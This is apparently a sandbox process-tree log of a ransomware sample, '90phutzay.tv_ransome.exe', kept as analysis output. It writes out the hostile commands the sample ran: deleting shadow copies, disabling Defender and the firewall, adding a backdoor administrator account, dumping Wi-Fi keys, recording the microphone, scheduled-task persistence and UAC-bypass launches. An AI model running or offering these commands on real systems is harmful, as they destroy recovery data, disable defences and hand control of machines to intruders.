        14⤵
        
        PID:9244
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639286765393122066.wav')"
        14⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:13048
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        14⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:14984
        
        C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        14⤵
        Interacts with shadow copies
        
        PID:10164
        
        C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        14⤵
        
        PID:8968
        
        C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        14⤵
        
        PID:2720
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        15⤵
        
        PID:11572
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        14⤵
        Modifies Windows Firewall
        
        PID:6560
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        12⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:12468
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        12⤵
        Creates a new local user account
        
        PID:8284
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        13⤵
        Creates a new local user account
        
        PID:13796
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        12⤵
        
        PID:13336
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        13⤵
        
        PID:13924
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        12⤵
        
        PID:15104
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639286765094804252.wav')"
        12⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:11352
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        12⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:8252
        
        C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        12⤵
        Interacts with shadow copies
        
        PID:7628
        
        C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        12⤵
        
        PID:13192
        
        C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        12⤵
        
        PID:14464
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        13⤵
        
        PID:14496
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        12⤵
        Modifies Windows Firewall
        
        PID:9552
        
        C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" stop wuauserv
        12⤵
        Launches sc.exe
        
        PID:11992
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        10⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:9336
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        10⤵
        Creates a new local user account
        
        PID:9036
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        11⤵
        Creates a new local user account
        
        PID:11156
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        10⤵
        
        PID:10852
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        11⤵
        
        PID:11620
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        10⤵
        
        PID:13180
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639286764890752158.wav')"
        10⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:15108
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        10⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:11932
        
        C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        10⤵
        Interacts with shadow copies
        
        PID:11896
        
        C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        10⤵
        
        PID:14576
        
        C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        10⤵
        
        PID:13604
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        11⤵
        
        PID:13552
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        10⤵
        Modifies Windows Firewall
        
        PID:11332
        
        C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" stop wuauserv
        10⤵
        Launches sc.exe
        
        PID:13252
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        8⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:7704
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        8⤵
        Creates a new local user account
        
        PID:8972
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        9⤵
        Creates a new local user account
        
        PID:8440
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        8⤵
        
        PID:7924
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        9⤵
        
        PID:6120
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        8⤵
        
        PID:9332
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639286764754168285.wav')"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:13568
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        8⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:13700
        
        C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        8⤵
        Interacts with shadow copies
        
        PID:14276
        
        C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        8⤵
        
        PID:14964
        
        C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        8⤵
        
        PID:11488
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        9⤵
        
        PID:12988
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        8⤵
        Modifies Windows Firewall
        
        PID:8228
        
        C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" stop wuauserv
        8⤵
        Launches sc.exe
        
        PID:6660
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        6⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:6816
      - C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        6⤵
        Creates a new local user account
        
        PID:7012
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        7⤵
        Creates a new local user account
        
        PID:7616
      - C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        6⤵
        
        PID:7740
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        7⤵
        
        PID:8136
      - C:\Windows\notepad.exe
        
        "notepad.exe"
        6⤵
        
        PID:9092
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639286764558894359.wav')"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:12192
      - C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        6⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:11548
      - C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        6⤵
        Interacts with shadow copies
        
        PID:12908
      - C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        6⤵
        
        PID:9868
      - C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        6⤵
        
        PID:11156
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        7⤵
        
        PID:15168
      - C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        6⤵
        Modifies Windows Firewall
        
        PID:2164
      - C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" stop wuauserv
        6⤵
        Launches sc.exe
        
        PID:10176
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      PID:2836
  - - C:\Windows\SYSTEM32\net.exe
      "net.exe" user WindowsUpdater P@ssw0rd123 /add
      4⤵
      Creates a new local user account
      PID:6192
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        5⤵
        Creates a new local user account
        
        PID:6484
  - - C:\Windows\SYSTEM32\net.exe
      "net.exe" localgroup Administrators WindowsUpdater /add
      4⤵
      PID:6912
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        5⤵
        
        PID:1496
  - - C:\Windows\notepad.exe
      "notepad.exe"
      4⤵
      PID:8044
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639286764414365655.wav')"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:10164
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh" wlan show profiles key=clear
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:9968
  - - C:\Windows\System32\vssadmin.exe
      "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:10504
  - - C:\Windows\System32\wbem\WMIC.exe
      "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
      4⤵
      PID:10748
  - - C:\Windows\System32\net.exe
      "C:\Windows\System32\net.exe" stop srservice
      4⤵
      PID:9924
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        5⤵
        
        PID:13260
  - - C:\Windows\System32\netsh.exe
      "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      PID:12164
  - - C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wuauserv
      4⤵
      Launches sc.exe
      PID:9968
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
  2⤵
  - Disables one or more Microsoft Defender components
  - Command and Scripting Interpreter: PowerShell
  PID:5724
- C:\Windows\SYSTEM32\net.exe
  "net.exe" user WindowsUpdater P@ssw0rd123 /add
  2⤵
  - Creates a new local user account
  PID:5244
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
    3⤵
    - Creates a new local user account
    PID:4232
- C:\Windows\SYSTEM32\net.exe
  "net.exe" localgroup Administrators WindowsUpdater /add
  2⤵
  PID:3820
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
    3⤵
    PID:252
- C:\Windows\notepad.exe
  "notepad.exe"
  2⤵
  PID:7064
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639286764397850100.wav')"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:8560
- C:\Windows\SYSTEM32\netsh.exe
  "netsh" wlan show profiles key=clear
  2⤵
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:4740
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:10224
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  PID:1400
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  PID:10496
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:12900
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  PID:10736
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:14204

C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe
C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe
1⤵
PID:5228
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2876
- C:\Windows\System32\cmstp.exe
  "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\3e1ecff0-610b-4159-8362-efdfb0b87ee2.inf
  2⤵
  PID:2588
- C:\Windows\System32\eventvwr.exe
  "C:\Windows\System32\eventvwr.exe"
  2⤵
  PID:4904
- - C:\Windows\system32\mmc.exe
    "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
    3⤵
    PID:2868
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  PID:3188
- - C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe
    "C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe"
    3⤵
    PID:1412
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe" /sc onlogon /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4452
  - - C:\Windows\System32\cmstp.exe
      "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\0ca74e36-feb2-4485-b81d-e89e4ca909f4.inf
      4⤵
      PID:5044
  - - C:\Windows\System32\eventvwr.exe
      "C:\Windows\System32\eventvwr.exe"
      4⤵
      PID:4780
    - - C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        5⤵
        
        PID:6216
  - - C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      4⤵
      PID:6256
    - - C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe"
        5⤵
        
        PID:6848
      - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe" /sc onlogon /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6260
      - C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\0a29d002-9ed2-44f7-9dbf-4eb925808d42.inf
        6⤵
        
        PID:7144
      - C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        6⤵
        
        PID:2788
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        7⤵
        
        PID:1004
      - C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        6⤵
        
        PID:7232
        
        C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe"
        7⤵
        
        PID:8036
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe" /sc onlogon /f
        8⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:7224
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\717f20f8-af32-46ce-a63c-4dca15d4b2ff.inf
        8⤵
        
        PID:8284
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        8⤵
        
        PID:8472
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        9⤵
        
        PID:8588
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        8⤵
        
        PID:8556
        
        C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe"
        9⤵
        
        PID:7448
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe" /sc onlogon /f
        10⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:9656
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\92b5b843-b64d-4552-90cc-0368948f6bff.inf
        10⤵
        
        PID:10144
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        10⤵
        
        PID:10216
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        11⤵
        
        PID:8908
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        10⤵
        
        PID:7868
        
        C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe"
        11⤵
        
        PID:9392
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe" /sc onlogon /f
        12⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1156
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\38079b8e-2938-4b6e-935e-69f6ee776938.inf
        12⤵
        
        PID:13916
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        12⤵
        
        PID:14328
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        13⤵
        
        PID:11952
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        12⤵
        
        PID:6776
        
        C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe"
        13⤵
        
        PID:11528
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe" /sc onlogon /f
        14⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:11672
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\26a8142e-71b8-4925-b519-f7408017fda3.inf
        14⤵
        
        PID:14980
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        14⤵
        
        PID:9880
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        15⤵
        
        PID:9620
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        14⤵
        
        PID:10788
        
        C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe"
        15⤵
        
        PID:9628
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe" /sc onlogon /f
        16⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:9804
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\7586ef4c-f5ea-4523-9fa9-def6b787012e.inf
        16⤵
        
        PID:11692
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        16⤵
        
        PID:9672
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        17⤵
        
        PID:8200
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        16⤵
        
        PID:10824
        
        C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe"
        17⤵
        
        PID:10760
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe" /sc onlogon /f
        18⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:13836
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\1a3e2028-6ee0-4308-bf8a-e190e94eafba.inf
        18⤵
        
        PID:10608
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        18⤵
        
        PID:12972
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        19⤵
        
        PID:14136
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        18⤵
        
        PID:10692
        
        C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\90phutzay.tv_ransome.exe"
        19⤵
        
        PID:7784
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        18⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:12440
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        18⤵
        Creates a new local user account
        
        PID:5008
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        19⤵
        Creates a new local user account
        
        PID:11316
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        18⤵
        
        PID:9996
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        19⤵
        
        PID:3600
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        16⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:13436
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        16⤵
        Creates a new local user account
        
        PID:10448
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        17⤵
        Creates a new local user account
        
        PID:324
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        16⤵
        
        PID:8708
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        17⤵
        
        PID:5628
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        16⤵
        
        PID:5764
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        14⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:10296
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        14⤵
        Creates a new local user account
        
        PID:6888
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        15⤵
        Creates a new local user account
        
        PID:7836
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        14⤵
        
        PID:13384
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        15⤵
        
        PID:14848
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        14⤵
        
        PID:7164
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639286765422504799.wav')"
        14⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6968
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        14⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:12788
        
